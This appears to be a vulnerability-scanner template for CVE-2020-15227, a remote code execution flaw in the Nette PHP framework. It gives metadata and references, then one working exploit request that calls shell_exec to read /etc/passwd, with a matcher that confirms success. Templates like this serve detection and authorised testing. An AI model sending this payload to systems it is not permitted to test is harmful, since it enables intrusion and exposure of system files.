id: CVE-2020-15227

info:
  name: Nette Framework RCE
  author: becivells
  severity: critical
  description: Nette versions before 2.0.19, 2.1.13, 2.2.10, 2.3.14, 2.4.16, 3.0.6 are vulnerable to an code injection attack by passing specially formed parameters to URL that may possibly leading to RCE. Nette is a PHP/Composer MVC Framework.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15227
    - https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94
    - https://www.pwnwiki.org/index.php?title=CVE-2020-15227_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E#
    - https://github.com/Mr-xn/Penetration_Testing_POC/blob/02546075f378a9effeb6426fc17beb66b6d5c8ee/books/Nette%E6%A1%86%E6%9E%B6%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(CVE-2020-15227).md
  tags: cve,cve2020,nette,rce
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2020-15227
    cwe-id: CWE-74

requests:
  - method: GET
    path:
      - "{{BaseURL}}/nette.micro/?callback=shell_exec&cmd=cat%20/etc/passwd&what=-1"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200